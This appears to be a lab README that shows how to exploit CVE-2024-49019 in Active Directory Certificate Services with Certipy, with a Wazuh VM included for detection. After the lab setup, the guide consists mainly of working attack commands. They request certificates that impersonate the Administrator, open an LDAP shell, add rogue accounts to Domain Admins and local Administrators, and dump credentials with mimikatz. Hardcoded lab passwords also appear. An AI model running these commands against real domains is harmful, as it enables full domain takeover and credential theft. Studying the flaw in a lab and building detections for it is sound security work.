
Exploitation for CVE-2024-49019
CVE-2024-49019 is a vulnerability in Active Directory Certificate Services (AD CS) that allows an attacker to escalate privileges by misusing certificate-based authentication. This guide demonstrates how to exploit this vulnerability using Certipy.
| Virtual Machine | Username | Password |
|---|---|---|
| Windows Server 2022 | Administrator | !@windowsadmintest101 |
| Windows Server 2022 | testuser | $Vulnerable139 |
| Kali-VM | vagrant | vagrant |
| Ubuntu-Wazuh | wazuh | admin |
The Ubuntu-Wazuh VM is used for detection purposes. Detection Guide Mitigation
First, clone the repository containing the necessary files:
git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng
You must install Vagrant on your host machine before proceeding.
Download and install Vagrant from here, or install using PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
cd windows-server2022
vagrant up
cd kali-VM
vagrant up
cd WazuhUbuntu
vagrant up
Since the exploit requires a NAT network, configure VirtualBox as follows:
Before running the command below, ensure VBoxManage is added to your environment variables. If not, execute the command using its full path:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
If VBoxManage is not recognized, use:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Make sure to check all VMs in VirtualBox and ensure they are assigned to the network adapter NatNetwork - NatNet1. You can create a NAT network with a different name, but it must be in the IP range 10.0.2.0/24.
Before proceeding, ensure all VMs are turned on.
Access the Kali Linux VM to start the attack and update your /etc/hosts file:
sudo nano /etc/hosts
Add the following entry:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Save and exit.
Navigate to the CVE-49019 directory and activate the Python virtual environment:
cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate
There are two ways to exploit this vulnerability: ESC1 and ESC3.
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
add_user badadmin
add_user_to_group badadmin "Domain Admins"
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121
certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121
certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121
There is a work around,make sure that your Host Machine has the same time as the Windows Server itself. Make sure to do this command in order to update the Kali-Linux VM to be the same as Windows-Server.
sudo timedatectl set-ntp off
sudo rdate -n 10.0.2.121
w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
Once administrator-level access is gained, the attacker can:
net user hacked /add
net localgroup "Administrators" hacked /add
sekurlsa::logonpasswords
For detection and mitigation strategies, refer to the detection guide.
CVE-2024-49019 presents a significant security risk due to its ability to allow unauthorized privilege escalation. Understanding this vulnerability and deploying proper detection mechanisms, such as using Wazuh, is crucial for securing Active Directory environments.
For more information on securing AD CS, see Microsoft Security CVE-2024-49019.